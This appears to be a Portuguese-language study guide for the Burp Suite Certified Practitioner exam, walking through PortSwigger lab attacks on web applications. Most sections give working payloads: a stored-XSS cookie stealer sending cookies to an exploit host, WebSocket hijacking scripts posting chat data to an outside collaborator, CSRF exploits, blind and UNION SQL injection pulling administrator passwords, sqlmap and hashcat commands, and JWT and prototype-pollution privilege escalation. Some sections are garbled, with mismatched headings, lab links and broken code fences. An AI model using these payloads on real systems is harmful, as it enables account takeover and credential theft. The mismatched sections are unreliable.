[Stay-Logged-in](#stay-logged-in)  
[Quebra offline do Stay-logged-in](#stay-logged-in-offline-crack)  
[Login protegido contra força bruta](#brute-force-protected-login)  
[Login sutilmente inválido](#subtly-invalid-login)  

### Stay-Logged-in  

>A opção de login com uma caixa de seleção de stay-logged-in resulta em um valor de Cookie contendo a senha do usuário logado e é vulnerável a ataques de força bruta.  

![stay-logged-in](https://assets.kitploit.com/production/public/readmes/51008/bc01af2d88a60a883c0f2e995e5759a41dac84717959f609e66ac1b814ef8877/eac5c63cdf23ce19f4026efdcf50a42353548a5ef0880cbd686190820ddd6e0c-display-v1.webp)  

>As etapas de exploração abaixo, além das regras de processamento de Payload do Intruder em ordem, incluindo a opção GREP em sequência, antes de iniciar o ataque.  
  
1. Faça logout do usuário atual.  
2. Envie a requisição GET /my-account mais recente para o Burp Intruder.  
3. Selecione o cookie: ```stay-logged-in``` como posição de injeção.  
4. Hash: ```MD5```  
5. Adicione o prefixo: ```carlos:```  
6. Codifique: ```Base64-encode```  
7. Adicione **GREP** na aba de configurações, para verificar na resposta a string ```Update email``` que indica login bem-sucedido no ataque.  
  
![brute](https://assets.kitploit.com/production/public/readmes/51008/dd219a46a6bde2ffcaa071930104090dfe53117dff9a9b2ac2319b677ff79798/bb3d75edbac7f93d5f11f594aa0641ba1f91960d7c5e468bab3529b564de62f4-display-v1.webp)  

[Laboratório PortSwigger: Forçando um cookie stay-logged-in](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie)  
  
### Quebra offline do Stay-logged-in  
  
>A função de comentários do aplicativo de blog é vulnerável a [XSS armazenado](#stored-xss); use o payload abaixo no comentário do blog para enviar o cookie de sessão de Carlos para o servidor de exploração.```
<script>
document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>

![Intruder Pitchfork](https://assets.kitploit.com/production/public/readmes/51008/66026c73089a17cd963c3f4604ee2c5eb87ca8d728f8e439873461a65886511b/57f16b4c63a4656510202fb58c8982bbdf9ab729ca4beb4a187b5026f66129bb-display-v1.webp)  

>Repita o ataque **Pitchfork** do Intruder acima no campo de senha e então ***identifique*** a senha válida na coluna de status com resultado 302.  

[Laboratório PortSwigger: Enumeração de usuários via tempo de resposta](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing)  
  
### Login Sutilmente Inválido  

>***Identifique*** que a página de login e a redefinição de senha não são protegidas contra ataques de força bruta, e não há bloqueio de IP ou timeout aplicado para nome de usuário ou senha inválidos.  

>Dica para o exame BSCP, às vezes há outro usuário com senha fraca que pode ser atacado por força bruta. Carlos nem sempre é a conta a ser alvo para obter acesso inicial na fase 1.  

![Login sutilmente inválido](https://assets.kitploit.com/production/public/readmes/51008/34b633ea5cc880f83ce62425f6cedfe66b071c6da84838036fdb877693c30d3c/1909672808f6935dcad4ad54ae81211b41c104f0e6e6a8caecac2ad37fce6cfe-display-v1.webp)  

>Observe na coluna de ataque do Intruder para o valor GREP, ```Invalid username or password.``` a única mensagem de resposta para um ataque de nome de usuário com falha não termina com ponto final. Repita o ataque com esse nome de usuário ***identificado*** e ataque **Sniper** no campo de senha para ***identificar*** a resposta ```302``` para um login válido.  
  
![Atualizar Senha](https://assets.kitploit.com/production/public/readmes/51008/902b614feb19dcbd95a3d8c7cdd0b4fb3beb1187c567ad7e5ef6a0eff0afc759/6777d0da3b54f56334d8b81dd648ba26bf558fff7a0bea4079089ae0738af940-display-v1.webp)  

>No exame BSCP ***fique atento*** a outras mensagens retornadas que sejam diferentes e revelem contas válidas no aplicativo e permitam a ***identificação*** por força bruta das senhas de contas, como por exemplo na função [atualizar redefinição de senha](#refresh-password-broken-logic).  
  
>Depois que o nome de usuário válido for identificado a partir de uma mensagem de resposta diferente, execute a [força bruta](#brute-force) usando o Burp Intruder na senha.  

[Laboratório PortSwigger: Enumeração de usuários via respostas sutilmente diferentes](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses)  

>Outro cenário para identificar um nome de usuário válido na aplicação web é fornecer uma lista de nomes de usuário no login e um valor de senha inválido. Nos resultados do ataque Intruder, uma resposta conterá a mensagem `Incorrect password`.  
>Posição de injeção do ataque Intruder, `username=§invalid-username§&password=SomeStupidLongCrazyWrongSecretPassword123456789`.  

[Laboratório PortSwigger: Enumeração de usuários via respostas diferentes](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses)  
  
-----

## Autenticação  

[Registro de Conta](#account-registration)  
[Macro de bypass do Auth Token](#auth-token-bypass-macro)  
  
### Registro de Conta  

>Uma falha de lógica de negócio no recurso de registro de conta permite obter um ponto de apoio como acesso ao papel de usuário alvo. [Descoberta de Conteúdo](#content-discovery) encontra o caminho ```/admin```, a mensagem indica que a interface Admin só está disponível se logado como um usuário **DontWannaCry**.  

![Falha de comprimento no registro](https://assets.kitploit.com/production/public/readmes/51008/9e90582af49743f7b9087c67a20d69bf74b4b8ef0dab1fbdff3a60392b9cd840/72715f12a9b48d4d37c280f2ac392de70361075d62642755035855d51a8d29ab-display-v1.webp)  

>Um e-mail criado com mais de 200 caracteres antes do símbolo ```@``` é então truncado para 255 caracteres. Isso ***identifica*** a vulnerabilidade na página de registro de conta, uma **falha** de lógica. No e-mail abaixo, o ```m``` no final de ```@dontwannacry.com``` é exatamente o caractere 255.```
very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-0afe007b03a34169c10b8fc501510091.exploit-server.net

[Laboratório PortSwigger: Vinculação forçada de perfil OAuth](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)  
  
### CSRF de Validação de Referer  

>***Identifique*** que a função de alteração de e-mail é vulnerável a CSRF observando que, quando o valor do cabeçalho **Referer** é alterado, a resposta exibe a mensagem `Invalid referer header`, e a alteração de e-mail é aceita quando o valor do referrer contém o domínio alvo esperado em algum lugar do valor.  

![identificar verificação do cabeçalho referer csrf](https://assets.kitploit.com/production/public/readmes/51008/0079dbd0e1ec1a68beb7853c04e86b3f80604413c126d203c93e1c2bb0f077d2/de7db5ae7069fafd14a3ddbc461c22d6fb39765e149e354e24fa97ff457156de-display-v1.webp)  

>Adicionar o domínio original do alvo e anexar `history.pushState('', '', '/?TARGET.net');` ao cabeçalho **Referer** na forma de uma string de consulta permite que a alteração de e-mail seja atualizada.```html
Referrer-Policy: unsafe-url

>Gere o POC de CSRF, ative a opção para incluir um script **auto-submit** e clique em **Regenerate**. Remova o bloco de código do script **auto-submit** e adicione o seguinte em vez disso, e coloque o código do script ```history.pushState``` abaixo do cabeçalho do body. O **onerror** da tag IMG SRC enviará o POC de CSRF.```
<img src="https://TARGET.net/?search=test%0D%0ASet-Cookie:%20csrfKey=CurrentUserCSRFKEY;%20SameSite=None" onerror="document.forms[0].submit()">

![CSRF escalada de privilégios](https://assets.kitploit.com/production/public/readmes/51008/6e45b81f9d54e5214924f032463b6f4f5eb9cdb28412f64ce9a823f6d6262b17/ddc915c61d778debd9f3dd2808cb4043859b9f6865d26d718536d8d06e5bc4f8-display-v1.webp)  
  
### CSRF Sem Defesas  

>Alvo sem defesas contra a função de alteração de e-mail pode permitir a escalada de privilégios para a função de administrador. No exame, alterar o e-mail para o endereço de e-mail `[email protected]` no servidor de exploit pode permitir que o atacante altere a senha do usuário administrador, resultando em escalada de privilégios.  
>No exame, há apenas ***um*** usuário ativo, e se a etapa anterior foi concluída usando um ataque que não exigiu que o usuário ativo clicasse em um link, como realizar envenenamento de cache ou realizar um ataque de phishing por meio da função `Deliver to Victim`, então o exploit de alteração via CSRF pode ser usado.  

![csrf-change-email.png](https://assets.kitploit.com/production/public/readmes/51008/6c60faf6361552e4964ca0299ebb1608cacc054461745662e4f9383ffedaaf3b/236a9dc558e23d3a3d4c98560cc25d64205efec80144ca7eeb993495d3a59cdd-display-v1.webp)  

[PortSwigger Lab: Vulnerabilidade CSRF sem defesas](https://portswigger.net/web-security/csrf/lab-no-defenses)  

### Bypass do SameSite Strict  

>Na função de chat ao vivo, notamos que a requisição `GET /chat HTTP/2` não usa tokens imprevisíveis, isso pode ***identificar*** uma possível vulnerabilidade de [sequestro de WebSocket entre sites](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking) (CSWSH) se for possível contornar a restrição de cookies [SameSite](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions).  

>Hospede um payload POC no servidor de exploit para ***identificar*** a vulnerabilidade CSWSH.```
<script>
    var ws = new WebSocket('wss://TARGET.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

>Contorne as restrições SameSite codificando em URL o script inteiro abaixo e usando-o como entrada no login de usuário `cms-` do subdomínio CDN, hospedado no servidor de exploit.```
<script>
    var ws = new WebSocket('wss://TARGE.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

>O histórico do chat contém a senha da vítima.

![chat-history.png](https://assets.kitploit.com/production/public/readmes/51008/882911320e69de26eefa71e4f3d6b6a6fdeac737f45a313863dac4c93cd3d225/f3cfe7ef3a4e620433e55ea3f5312a26e94a6e45e5bf1bd56d702548ceb2cbb4-display-v1.webp)  

[PortSwigger Lab: SameSite Strict bypass via sibling domain](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-sibling-domain)  

### SameSite Lax bypass  

>Observe que, se você visitar `/social-login`, isso inicia automaticamente o fluxo OAuth completo. Se você ainda tiver uma sessão autenticada no servidor OAuth, tudo isso acontece sem qualquer interação e, no histórico do proxy, observe que toda vez que você conclui o fluxo OAuth, o site alvo define um novo cookie de sessão, mesmo que você já esteja logado.  

>Contorne o bloqueador de pop-ups, para induzir a vítima a clicar na página e só abrir o pop-up depois que a vítima clicar, com o seguinte JavaScript. O código JavaScript do exploit primeiro atualiza a sessão da vítima, forçando o navegador dela a visitar `/social-login`, e então envia a solicitação de alteração de e-mail após uma breve pausa. Entregue o exploit à vítima.```
<form method="POST" action="https://TARGET.net/my-account/change-email">
    <input type="hidden" name="email" value="[email protected]">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://TARGET.net/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>

>[Codificado em URL](https://www.urlencoder.org/) `PostgreSQL` payload.```SQL
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END--

![blind-time-delay SQLi](https://assets.kitploit.com/production/public/readmes/51008/46c985b647369721299240587ce419b7890ff46abab191040b0da91187e69a6a/833ff096083057dc0b8241e6be68f3488ffbe38ce167d619967c277e987e9123-display-v1.webp)  

>Usando o ataque CLUSTER Bomb para reexecutar o ataque para cada permutação das posições dos caracteres na senha e determinar o valor do caractere.```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

![practice exam stage-2 time delay sqli](https://assets.kitploit.com/production/public/readmes/51008/591c6c93d17a4fad71c84924b82f6b102cdcb7403345fc89a25393801b5f4fcb/3de53e0a110faccc64ec3df7bb827afceaec12b28fb13de0e6e942ebdda4cbc8-display-v1.webp)  

>Com um ataque Intruder CLUSTER bomb, a senha pode ser extraída em um único ataque com duas posições de payload no payload abaixo.```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END+FROM+users--

![Injeção SQL cega com exfiltração de dados fora de banda](https://assets.kitploit.com/production/public/readmes/51008/77ecbd2fb851d947a64ea7f80ed8d2edfae3c11ce5990b5dab193d0089ede73f/34f35502299c43e70be75fe5ad7a9ca416d47c6d5aa53ca52945e7ad54fd72e3-display-v1.webp)  
  
[PortSwigger Lab: Injeção SQL cega com exfiltração de dados fora de banda](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration)  
  
>O payload SQL acima também pode ser usado para extrair a senha do Administrador para o desafio [PortSwigger Lab: Injeção SQL cega com erros condicionais](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors).  

### Injeção SQL cega sem indicação  

>Colocar uma aspa simples no final do cookie ```trackingid``` ou do parâmetro de pesquisa `/search_advanced?searchTerm='` pode retornar a resposta `500 Internal Server Error`. Faça uma suposição fundamentada: usando o payload de injeção SQL cega abaixo e combinando com a técnica básica de XXE, isso faz uma chamada ao servidor de colaboração, mas nenhum dado é exfiltrado.```sql
TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//OASTIFY.COM/">+%25remote%3b]>'),'/l')+FROM+dual--

[OAST - Teste de Segurança de Aplicações Fora de Banda](https://portswigger.net/burp/application-security-testing/oast)  

[Laboratório PortSwigger: Injeção de SQL cega com interação fora de banda](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band)  
  
### Resposta Condicional de SQLi Cego

>Esta injeção SQL cega é ***identificada*** por uma pequena diferença de mensagem nas respostas. Ao enviar uma consulta SQL verdadeira válida, a resposta contém a string ```Welcome back``` na resposta. Instruções de consulta SQL falsas inválidas não contêm a mensagem condicional na resposta.```
' AND '1'='1

>Determine quantos caracteres há na senha do usuário administrador. Para fazer isso, altere o valor da instrução SQL para and na **aba Configurações** do intruder, na seção "Grep - Match". Limpe todas as entradas existentes na lista e adicione o valor ```Welcome back``` à condição ***identificar*** verdadeira.```
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

![resposta condicional de sqli](https://assets.kitploit.com/production/public/readmes/51008/2fa952e19084d8cf044ee00c0af0758f5a2525b6e3eb130e782d5e6e477ab7fa/775c0bc6baba6015d2d25f55994918b7720989ba2c1dad81e807ad893028bc91-display-v1.webp)  

>Alternativamente, use um ataque **CLUSTER Bomb** e defina **duas** posições de payload, a primeira para a posição do caractere com um payload de números ```1..20``` e a segunda posição, usando caracteres alfanuméricos; isso iterará por cada permutação das combinações de payload.  

![CLUSTER bomb](https://assets.kitploit.com/production/public/readmes/51008/2612fb60c5db8b49266cf925197eb38930d733d225b304e8803298c38bec168e/61ae6550d59a539ec054efdaad8ed27be2f83c3501b78e0072699009e1b66f03-display-v1.webp)  

[PortSwigger Lab: Injeção SQL cega com respostas condicionais](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses)  
  
### Oracle  

>Identificou a injeção SQL adicionando uma **aspa simples** ao final do valor do parâmetro `category` e observando a resposta de `500 Internal Server Error`.  
  
>Recupere a lista de tabelas no banco de dados Oracle:```
'+UNION+SELECT+table_name,NULL+FROM+all_tables--

>Payload Oracle para recuperar os nomes de usuário e senhas da tabela Users_XXX.```
'+UNION+SELECT+USERNAME_XXX,+PASSWORD_XXX+FROM+USERS_XXX--

![SQLMAP usado para despejar dados de tabelas](https://assets.kitploit.com/production/public/readmes/51008/e91562db7de520c05b332d6ea72d4fd6ce995a1a990df232da525c2f43cadf7f/74ef860e904c08dc72a71d2fc729d39c847fce7675ee88d18347351f729240e5-display-v1.webp)  

>Este também é um bom começo com o SQLMAP para ***identificar*** e extrair dados de uma injeção SQL sensível baseada em erro e atraso de tempo nos filtros de pesquisa avançada na prova.```
sqlmap -v -u 'https://TARGET.NET/search?term=x&organizeby=DATE&journalist=&cachebust=1656138093.57' -p "term" --batch --cookie="_lab=YESYESYESYES; session=YESYESYESYES" --random-agent --level=2 --risk=2

>Use SQLMAP para extrair as tabelas identificadas do banco de dados `public`.```
-p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public --tables

### SQLi Manual Não-Oracle  

>Ataque de injeção SQL UNION, determinando o **número de colunas** retornado pela consulta.```SQL
'+UNION+SELECT+NULL,NULL--

Em seguida, ***identificando*** uma lista de **tabelas** no banco de dados.```SQL
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--

>Recupere os nomes das **colunas** na tabela ***users***.```SQL
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_XXXX'--

>**EXTRA:** Se você tiver apenas uma coluna para extrair dados de texto, concatene vários valores em um único campo de saída refletido usando a sintaxe SQL ```||``` caracteres do banco de dados.```
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

>Devido ao limite de comprimento do valor do cookie, o payload é encurtado usando `limit 1`, e o valor real do cookie é substituído apenas pela letra `x`. A injeção de SQL usou a [função CAST](https://portswigger.net/web-security/sql-injection/blind).  

![SQL Injection CAST function](https://assets.kitploit.com/production/public/readmes/51008/8cbe3158f15d53a4fd4b4871f9ac4d84b3afe63769c73e89305d9df5690b6b81/67b43c731a975eaa82e1bb9bee41c17f69d0d82d9b61a9f34ca38680adb38969-display-v1.webp)  

[PortSwigger Lab: Injeção de SQL visível baseada em erros](https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based)  

-----

## JWT  

[JWT bypass via JWK](#manual-sqli)  
[JWT Weak secret](#jwt-weak-secret)  
[JWT kid header](#jwt-kid-header)  
[JWT arbitrary jku header](#jwt-arbitrary-jku-header)  


>Os JSON web tokens (JWTs) são usados para enviar dados JSON assinados criptograficamente, e mais comumente usados para enviar informações ("claims") sobre usuários como parte de autenticação, gerenciamento de sessão e controle de acesso.  

### JWT bypass via JWK  

>O scanner do Burp ***identifica*** a vulnerabilidade no servidor como **JWT com cabeçalho JWK autoassinado suportado**. É possível explorá-la através de uma verificação falha da origem da chave fornecida.  
>**jwk (JSON Web Key)** - Fornece um objeto JSON incorporado que representa a chave.  

>Etapas de exploração de bypass de autenticação via injeção de cabeçalho jwk:  

1. Nova chave RSA  
2. No payload JWT da requisição, altere o valor da **claim sub** para administrator  
3. Selecione Attack e, em seguida, selecione **Embedded JWK** com a chave RSA recém-gerada  
4. Observe que um parâmetro ```jwk``` agora contém nossa chave pública; enviar a requisição resulta em acesso ao portal de administrador  
  
![jwk header](https://assets.kitploit.com/production/public/readmes/51008/ce35d027fc88ad31fd8b852c8ad1913fd2f5bd8b08923304b385f7023aa0ccb2/3b8f9b446cebdaefc49adb6838972ef19bdd5a66dac508eb888a5ba5305292e4-display-v1.webp)  

[PortSwigger Lab: Bypass de autenticação JWT via injeção de cabeçalho jwk](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection)  

### JWT Weak secret  

>Forçar a chave fraca de assinatura JWT usando `hashcat`.```bash
hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list 

>Payload```
{
    "iss": "portswigger",
    "sub": "administrator",
    "exp": 1673523674
}

![jwt-jku-header-exploit-server.png](https://assets.kitploit.com/production/public/readmes/51008/9a204d1ac713ebb90c2a2ea1d3d0262157863148f44b10dfe3fb57d32e84e476/2cb0be1ecadaf45760b6c769e2060fb2dce33895d631682e9f61e356700446c6-display-v1.webp)  

[PortSwigger Lab: bypass de autenticação JWT via injeção de cabeçalho jku](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection)  
  
-----

## Poluição de Protótipo  

>O atacante adiciona propriedades arbitrárias aos protótipos globais de objetos JavaScript, que são herdadas por objetos definidos pelo usuário e que levam a XSS de DOM no lado do cliente ou à execução de código no lado do servidor.  

[Protótipo no Lado do Cliente](#client-side-proto)  
[Protótipo no Lado do Servidor](#server-side-proto)  
[Habilitar a Poluição de Protótipo no Dom Invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/prototype-pollution#enabling-prototype-pollution)  
  
### Protótipo no Lado do Cliente  

>Um alvo é vulnerável a XSS de DOM via poluição de protótipo no lado do cliente. **[DOM Invader](#dom-invader)** irá ***identificar*** o gadget e, usando um payload hospedado, realizar phishing direcionado à vítima e roubar o cookie dela.  

>Na seção Body do servidor de exploit, hospede um exploit que direcione a vítima para uma URL maliciosa.```html
<script>
    location="https://TARGET.NET/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>  

![identificar __proto__](https://assets.kitploit.com/production/public/readmes/51008/c112512ded8e858f47752489625221d1bf364e687dbee58c550422904cae97e2/26cdbc7bf19f5fed4b3051d5294f8b20e0f5bee781e2b6a954fa2280ca5063d8-display-v1.webp)  
  
>Observe a propriedade ```isAdmin``` e reenvie o POST de atualização de conta com o payload ```__proto__``` abaixo para elevar nosso papel de acesso para Administrator.```JSON
"__proto__": {
    "isAdmin":true
}

[PortSwigger Lab: Explorando uma vulnerabilidade de atribuição em massa](https://portswigger.net/web-security/api-testing/lab-exploiting-mass-assignment-vulnerability)  

### Poluição de Parâmetros na API de Redefinição de Senha  

>Observe que a função da API de redefinição de senha usa o parâmetro no corpo do POST para o nome de usuário. Para ***identificar*** parâmetros ocultos adicionais para a função da API, insira um parâmetro aleatório ```&x=y``` para observar a mensagem de erro vazando informações de resultado positivo.